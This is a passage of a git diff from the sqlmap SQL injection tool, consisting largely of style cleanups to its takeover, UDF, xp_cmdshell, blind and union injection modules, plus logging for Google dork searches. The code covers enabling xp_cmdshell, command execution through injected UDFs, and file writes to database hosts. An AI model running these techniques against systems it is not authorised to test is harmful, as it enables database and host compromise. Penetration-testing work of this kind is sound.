- def readRegKey(self, regKey, regValue, parse=False): self.__operation = "read" @@ -112,7 +106,6 @@ class Registry: return data - def addRegKey(self, regKey, regValue, regType, regData): self.__operation = "add" @@ -126,7 +119,6 @@ class Registry: self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) self.delRemoteFile(self.__batPathRemote, doubleslash=True) - def delRegKey(self, regKey, regValue): self.__operation = "delete" diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 983eea8eb..93906c9ee 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os from lib.core.agent import agent @@ -52,10 +50,9 @@ class UDF: self.udfs = {} self.udfToCreate = set() - def __askOverwriteUdf(self, udf): - message = "UDF '%s' already exists, do you " % udf - message += "want to overwrite it? [y/N] " + message = "UDF '%s' already exists, do you " % udf + message += "want to overwrite it? [y/N] " output = readInput(message, default="N") if output and output[0] in ("y", "Y"): @@ -63,9 +60,8 @@ class UDF: else: return False - def __checkExistUdf(self, udf): - logger.info("checking if UDF '%s' already exist" % udf) + logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf)) exists = inject.getValue(query, resumeValue=False, unpack=False) @@ -74,27 +70,24 @@ class UDF: return True else: return False - def udfCheckAndOverwrite(self, udf): exists = self.__checkExistUdf(udf) overwrite = True - if exists is True: + if exists: overwrite = self.__askOverwriteUdf(udf) - if overwrite is True: + if overwrite: self.udfToCreate.add(udf) - def udfCreateSupportTbl(self, dataType): debugMsg = "creating a support table to write commands standard " debugMsg += "output to" - logger.debug(debugMsg) + logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType) - def udfExecCmd(self, cmd, silent=False, udfName=None): cmd = urlencode(cmd, convall=True) @@ -102,8 +95,7 @@ class UDF: cmd = "'%s'" % cmd udfName = "sys_exec" - inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) - + inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): cmd = urlencode(cmd, convall=True) @@ -112,9 +104,9 @@ class UDF: cmd = "'%s'" % cmd udfName = "sys_eval" - inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) - inject.goStacked("DELETE FROM %s" % self.cmdTblName) + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): output = output[0] @@ -124,21 +116,17 @@ class UDF: return output - def udfCreateFromSharedLib(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException, errMsg - + raise sqlmapUnsupportedFeatureException(errMsg) def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException, errMsg - + raise sqlmapUnsupportedFeatureException(errMsg) def udfInjectCmd(self): errMsg = "udfInjectCmd() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException, errMsg - + raise sqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): for udf in udfDict.keys(): @@ -162,15 +150,14 @@ class UDF: self.udfCreateSupportTbl(supportTblType) - def udfInjectCustom(self): if kb.dbms not in ( "MySQL", "PostgreSQL" ): errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms - raise sqlmapUnsupportedFeatureException, errMsg + raise sqlmapUnsupportedFeatureException(errMsg) stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: return self.checkDbmsOs() @@ -195,21 +182,21 @@ class UDF: if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" - raise sqlmapFilePathException, errMsg + raise sqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and kb.os == "Windows": errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux": errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] diff --git a/lib/takeover/upx.py b/lib/takeover/upx.py index 59e2a6743..fb8000d26 100644 --- a/lib/takeover/upx.py +++ b/lib/takeover/upx.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import time @@ -37,7 +35,6 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.settings import PLATFORM - class UPX: """ This class defines methods to compress binary files with UPX (Ultimate @@ -69,7 +66,6 @@ class UPX: if dstFile: self.__upxCmd += " -o %s" % dstFile - def pack(self, srcFile, dstFile=None): self.__initialize(srcFile, dstFile) @@ -97,13 +93,10 @@ class UPX: return None - def unpack(self, srcFile, dstFile=None): pass - def verify(self, filePath): pass - upx = UPX() diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index ca8eff685..f9bb7be1c 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import urlencode @@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject from lib.techniques.blind.timebased import timeUse - class xp_cmdshell: """ This class defines methods to deal with Microsoft SQL Server @@ -44,9 +41,7 @@ class xp_cmdshell: def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" - def __xpCmdshellCreate(self): - # TODO: double-check that this method works properly cmd = "" if kb.dbmsVersion[0] in ( "2005", "2008" ): @@ -73,7 +68,6 @@ class xp_cmdshell: self.xpCmdshellExecCmd(cmd) - def __xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" @@ -87,7 +81,6 @@ class xp_cmdshell: return cmd - def __xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" @@ -96,12 +89,11 @@ class xp_cmdshell: if mode == 1: cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', " cmd += "@dllname='xplog70.dll'" - else: - cmd = "EXEC master..sp_dropextendedproc xp_cmdshell" + else: + cmd = "EXEC master..sp_dropextendedproc xp_cmdshell" return cmd - def __xpCmdshellConfigure(self, mode): if kb.dbmsVersion[0] in ( "2005", "2008" ): cmd = self.__xpCmdshellConfigure2005(mode) @@ -110,7 +102,6 @@ class xp_cmdshell: self.xpCmdshellExecCmd(cmd) - def __xpCmdshellCheck(self): query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2)) duration = timeUse(query) @@ -120,19 +111,16 @@ class xp_cmdshell: else: return False - def xpCmdshellForgeCmd(self, cmd): return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd) - def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False): - if forgeCmd == True: + if forgeCmd: cmd = self.xpCmdshellForgeCmd(cmd) cmd = urlencode(cmd, convall=True) - inject.goStacked(cmd, silent) - + inject.goStacked(cmd, silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): self.getRemoteTempPath() @@ -146,8 +134,8 @@ class xp_cmdshell: self.delRemoteFile(tmpFile) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) - inject.goStacked("DELETE FROM %s" % self.cmdTblName) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): output = output[0] @@ -157,7 +145,6 @@ class xp_cmdshell: return output - def xpCmdshellInit(self, mandatory=True): self.__xpCmdshellAvailable = False @@ -167,7 +154,7 @@ class xp_cmdshell: result = self.__xpCmdshellCheck() - if result == True: + if result: logger.info("xp_cmdshell extended procedure is available") self.__xpCmdshellAvailable = True @@ -180,7 +167,7 @@ class xp_cmdshell: if not choice or choice in ("y", "Y"): self.__xpCmdshellConfigure(1) - if self.__xpCmdshellCheck() == True: + if self.__xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") self.__xpCmdshellAvailable = True @@ -191,7 +178,7 @@ class xp_cmdshell: self.__xpCmdshellConfigure(0) self.__xpCmdshellCreate() - if self.__xpCmdshellCheck() == True: + if self.__xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") self.__xpCmdshellAvailable = True @@ -200,14 +187,14 @@ class xp_cmdshell: warnMsg += "because sp_OACreate is disabled" logger.warn(warnMsg) - if self.__xpCmdshellAvailable == False and mandatory == False: + if not self.__xpCmdshellAvailable and not mandatory: warnMsg = "unable to get xp_cmdshell working, sqlmap will " warnMsg += "try to proceed without it" logger.warn(warnMsg) self.envInitialized = True - elif self.__xpCmdshellAvailable == False: + elif not self.__xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise sqlmapUnsupportedFeatureException, errMsg @@ -215,6 +202,6 @@ class xp_cmdshell: debugMsg = "creating a support table to write commands standard " debugMsg += "output to" - logger.debug(debugMsg) + logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)") diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 40a181ac1..5a22fc088 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import threading import time import traceback @@ -43,8 +41,6 @@ from lib.core.exception import unhandledException from lib.core.progress import ProgressBar from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request - - def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None): """ Bisection algorithm that can be used to perform blind SQL injection @@ -102,7 +98,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None progress = ProgressBar(maxValue=length) progressTime = [] - if conf.verbose in ( 1, 2 ) and not showEta: + if conf.verbose >= 1 and not showEta: if isinstance(length, int) and conf.threads > 1: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) @@ -113,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules - - def getChar(idx, asciiTbl=asciiTbl): maxValue = asciiTbl[len(asciiTbl)-1] minValue = 0 @@ -126,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None forgedPayload = payload % (expressionUnescaped, idx, posValue) result = Request.queryPage(forgedPayload) - if result == True: + if result: minValue = posValue asciiTbl = asciiTbl[position:] else: @@ -138,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return None else: return chr(minValue + 1) - - def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 @@ -151,15 +143,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None progressTime.append(charTime) progress.update(index) progress.draw(eta) - - if conf.threads > 1 and isinstance(length, int) and length > 1: value = [ None ] * length index = [ firstChar ] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() - - def downloadThread(): try: while True: @@ -184,7 +172,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if showEta: etaProgressUpdate(time.time() - charStart, index[0]) - elif conf.verbose in ( 1, 2 ): + elif conf.verbose >= 1: s = "".join([c or "_" for c in value]) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s)) @@ -212,8 +200,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None errMsg = unhandledException() logger.error("thread %d: %s" % (numThread + 1, errMsg)) traceback.print_exc() - - # Start the threads for numThread in range(numThreads): thread = threading.Thread(target=downloadThread) @@ -228,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # can mean that the connection to the target url was lost if None in value: for v in value: - if isinstance(v, str) and v != None: + if isinstance(v, str) and v is not None: partialValue += v if partialValue: @@ -241,7 +227,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if isinstance(finalValue, str) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) - if conf.verbose in ( 1, 2 ) and not showEta and infoMsg: + if conf.verbose >= 1 and not showEta and infoMsg: dataToStdout(infoMsg) else: @@ -261,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if showEta: etaProgressUpdate(time.time() - charStart, index) - elif conf.verbose in ( 1, 2 ): + elif conf.verbose >= 1: dataToStdout(val) - if conf.verbose in ( 1, 2 ) or showEta: + if conf.verbose >= 1 or showEta: dataToStdout("\n") if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3: diff --git a/lib/techniques/blind/timebased.py b/lib/techniques/blind/timebased.py index fa06f4d54..e0465c6df 100644 --- a/lib/techniques/blind/timebased.py +++ b/lib/techniques/blind/timebased.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import time from lib.core.agent import agent @@ -33,8 +31,6 @@ from lib.core.data import kb from lib.core.data import logger from lib.request import inject from lib.request.connect import Connect as Request - - def timeTest(): infoMsg = "testing time based blind sql injection on parameter " infoMsg += "'%s' with AND condition syntax" % kb.injParameter @@ -82,8 +78,6 @@ def timeTest(): kb.timeTest = False return kb.timeTest - - def timeUse(query): start = time.time() _, _ = inject.goStacked(query) diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index be22c2e6b..414f8bc05 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.agent import agent from lib.core.common import randomStr from lib.core.data import conf @@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper from lib.parse.html import htmlParser from lib.request.connect import Connect as Request - def __unionPosition(negative=False, falseCond=False): if negative or falseCond: negLogMsg = "partial (single entry)" @@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False): logger.warn(warnMsg) - def __unionConfirm(): # Confirm the inband SQL injection and get the exact column # position @@ -121,7 +117,6 @@ def __unionConfirm(): else: conf.paramFalseCond = True - def __forgeUserFriendlyValue(payload): value = "" @@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload): return value - def __unionTestByNULLBruteforce(comment): """ This method tests if the target url is affected by an inband @@ -173,7 +167,6 @@ def __unionTestByNULLBruteforce(comment): return value, columns - def __unionTestByOrderBy(comment): columns = None value = None @@ -197,7 +190,6 @@ def __unionTestByOrderBy(comment): return value, columns - def unionTest(): """ This method tests if the target url is affected by an inband diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index 3de52c725..60f31f348 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re import time @@ -39,10 +37,8 @@ from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest from lib.utils.resume import resume - reqCount = 0 - def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True): """ This function tests for an inband SQL injection on the target @@ -60,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh global reqCount - if resetCounter == True: + if resetCounter: reqCount = 0 if not kb.unionCount: @@ -74,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh expression = agent.concatQuery(expression, unpack) expression = unescaper.unescape(expression) - if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False: + if ( conf.paramNegative or conf.paramFalseCond ) and not direct: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) if len(expressionFieldsList) > 1: @@ -141,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh else: test = True - if test == True: + if test: # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count % expressionFieldsList[0] countedExpression = origExpr.replace(expressionFields, countFirstField, 1) diff --git a/lib/techniques/outband/stacked.py b/lib/techniques/outband/stacked.py index 053c9f1b3..98849b6c2 100644 --- a/lib/techniques/outband/stacked.py +++ b/lib/techniques/outband/stacked.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import time from lib.core.common import getDelayQuery @@ -33,9 +31,8 @@ from lib.core.data import logger from lib.core.session import setStacked from lib.request import inject - def stackedTest(): - if kb.stackedTest != None: + if kb.stackedTest is not None: return kb.stackedTest infoMsg = "testing stacked queries support on parameter " @@ -53,7 +50,6 @@ def stackedTest(): logger.info(infoMsg) kb.stackedTest = payload - else: warnMsg = "the web application does not support stacked queries " warnMsg += "on parameter '%s'" % kb.injParameter diff --git a/lib/utils/google.py b/lib/utils/google.py index aa9d8832f..cadebe132 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import cookielib import re import urllib2 @@ -31,8 +29,9 @@ import urllib2 from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.exception import sqlmapConnectionException - +from lib.request.basic import decodePage class Google: """ @@ -47,7 +46,6 @@ class Google: self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj)) self.opener.addheaders = conf.httpHeaders - def __parsePage(self, page): """ Parse Google dork search results page to get the list of @@ -61,7 +59,6 @@ class Google: return matches - def getTargetUrls(self): """ This method returns the list of hosts with parameters out of @@ -72,7 +69,6 @@ class Google: if re.search("(.*?)\?(.+)", match, re.I): kb.targetUrls.add(( match, None, None, None )) - def getCookie(self): """ This method is the first to be called when initializing a @@ -90,23 +86,47 @@ class Google: errMsg = "unable to connect to Google" raise sqlmapConnectionException, errMsg - def search(self, googleDork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ + gpage = conf.googlePage if conf.googlePage > 1 else 1 + if not googleDork: return None url = "http://www.google.com/search?" url += "q=%s&" % urlencode(googleDork) url += "num=100&hl=en&safe=off&filter=0&btnG=Search" + url += "&start=%d" % ((gpage-1) * 100) try: conn = self.opener.open(url) - page = conn.read() + + requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url + #requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()]) + #requestMsg += "\n%s" % requestHeaders + requestMsg += "\n" + logger.log(9, requestMsg) + + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + + encoding = responseHeaders.get("Content-Encoding") + page = decodePage(page, encoding) + + responseMsg = "HTTP response (%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += str(responseHeaders) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(8, responseMsg) except urllib2.HTTPError, e: page = e.read() except urllib2.URLError, e: diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py index 54813f8b6..1759db2d0 100644 --- a/lib/utils/parenthesis.py +++ b/lib/utils/parenthesis.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr @@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException from lib.core.session import setParenthesis from lib.request.connect import Connect as Request - def checkForParenthesis(): """ This method checks if the SQL injection affected parameter @@ -46,7 +43,7 @@ def checkForParenthesis(): count = 0 - if kb.parenthesis != None: + if kb.parenthesis is not None: return if conf.prefix or conf.postfix: @@ -76,7 +73,7 @@ def checkForParenthesis(): payload = agent.payload(newValue=query) result = Request.queryPage(payload) - if result == True: + if result: count = parenthesis logMsg = "the injectable parameter requires %d parenthesis" % count diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py index 459c9e044..6422fbf44 100644 --- a/plugins/dbms/mssqlserver.py +++ b/plugins/dbms/mssqlserver.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import binascii import os import time @@ -71,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov unescaper.setUnescape(MSSQLServerMap.unescape) - @staticmethod def unescape(expression, quote=True): if quote: @@ -84,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -103,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov return expression - @staticmethod def escape(expression): while True: @@ -115,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov index = expression[firstIndex:].find("))") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] @@ -128,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov return expression - def getFingerprint(self): - value = "" + value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: @@ -142,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov if dbmsOsFp: value += "%s\n" % dbmsOsFp - value += "back-end DBMS: " - actVer = formatDBMSfp() + value += "back-end DBMS: " + actVer = formatDBMSfp() if not conf.extensiveFp: value += actVer return value - blank = " " * 15 - value += "active fingerprint: %s" % actVer + blank = " " * 15 + value += "active fingerprint: %s" % actVer if kb.bannerFp: - release = kb.bannerFp["dbmsRelease"] - version = kb.bannerFp["dbmsVersion"] + release = kb.bannerFp["dbmsRelease"] + version = kb.bannerFp["dbmsVersion"] servicepack = kb.bannerFp["dbmsServicePack"] if release and version and servicepack: - banVer = "Microsoft SQL Server %s " % release + banVer = "Microsoft SQL Server %s " % release banVer += "Service Pack %s " % servicepack banVer += "version %s" % version @@ -171,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov return value - def checkDbms(self): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) @@ -189,29 +183,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") result = Request.queryPage(payload) - if result == True: + if result: infoMsg = "confirming Microsoft SQL Server" logger.info(infoMsg) - for version in ( 0, 5, 8 ): + for version in (0, 5, 8): randInt = randomInt() query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) payload = agent.fullPayload(query) result = Request.queryPage(payload) - if result is True: + if result: if version == 8: - kb.dbmsVersion = [ "2008" ] + kb.dbmsVersion = ["2008"] break elif version == 5: - kb.dbmsVersion = [ "2005" ] + kb.dbmsVersion = ["2005"] break elif version == 0: - kb.dbmsVersion = [ "2000" ] + kb.dbmsVersion = ["2000"] break @@ -220,8 +214,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov payload = agent.fullPayload(query) result = Request.queryPage(payload) - if result == True: - kb.dbmsVersion = [ "7.0" ] + if result: + kb.dbmsVersion = ["7.0"] break @@ -241,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov return False - def checkDbmsOs(self, detailed=False): if kb.os and kb.osVersion and kb.osSP: return @@ -249,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov if not kb.os: kb.os = "Windows" - if detailed == False: + if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " @@ -261,14 +254,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - versions = { - "2003": ( "5.2", ( 2, 1 ) ), - #"2003": ( "6.0", ( 2, 1 ) ), - "2008": ( "7.0", ( 1, ) ), - "2000": ( "5.0", ( 4, 3, 2, 1 ) ), - "XP": ( "5.1", ( 2, 1 ) ), - "NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) ) - } + versions = {"2003": ("5.2", (2, 1)), + #"2003": ("6.0", (2,1)), + "2008": ("7.0", (1,)), + "2000": ("5.0", (4, 3, 2, 1)), + "XP": ("5.1", (2, 1)), + "NT": ("4.0", (6, 5, 4, 3, 2, 1))} # Get back-end DBMS underlying operating system version for version, data in versions.items(): @@ -320,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov self.cleanup(onlyFileTbl=True) - def getPrivileges(self): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges" @@ -328,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov return {} - def getTables(self): infoMsg = "fetching tables" if conf.db: @@ -399,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov if not kb.data.cachedTables: errMsg = "unable to retrieve the tables for any database" - raise sqlmapNoneDataException, errMsg + raise sqlmapNoneDataException(errMsg) return kb.data.cachedTables - def unionReadFile(self, rFile): errMsg = "Microsoft SQL Server does not support file reading " errMsg += "with UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg - + raise sqlmapUnsupportedFeatureException(errMsg) def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile @@ -479,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException, errMsg + raise sqlmapNoneDataException(errMsg) indexRange = getRange(count) @@ -491,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov return result - def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg - + raise sqlmapUnsupportedFeatureException(errMsg) def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): # NOTE: this is needed here because we use xp_cmdshell extended @@ -525,11 +510,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov logger.debug("moving binary file %s to %s" % (sFile, dFile)) - commands = ( - "cd %s" % tmpPath, - "ren %s %s" % (chunkName, dFileName), - "move /Y %s %s" % (dFileName, dFile) - ) + commands = ("cd %s" % tmpPath, + "ren %s %s" % (chunkName, dFileName), + "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) forgedCmd = self.xpCmdshellForgeCmd(complComm) @@ -545,7 +528,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov counter = 1 for i in range(0, wFileSize, debugSize): - wFileChunk = wFileContent[i:i+debugSize] + wFileChunk = wFileContent[i:i + debugSize] chunkName = self.updateBinChunk(wFileChunk, tmpPath) if i == 0: @@ -558,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) logger.debug(infoMsg) - commands = ( - "cd %s" 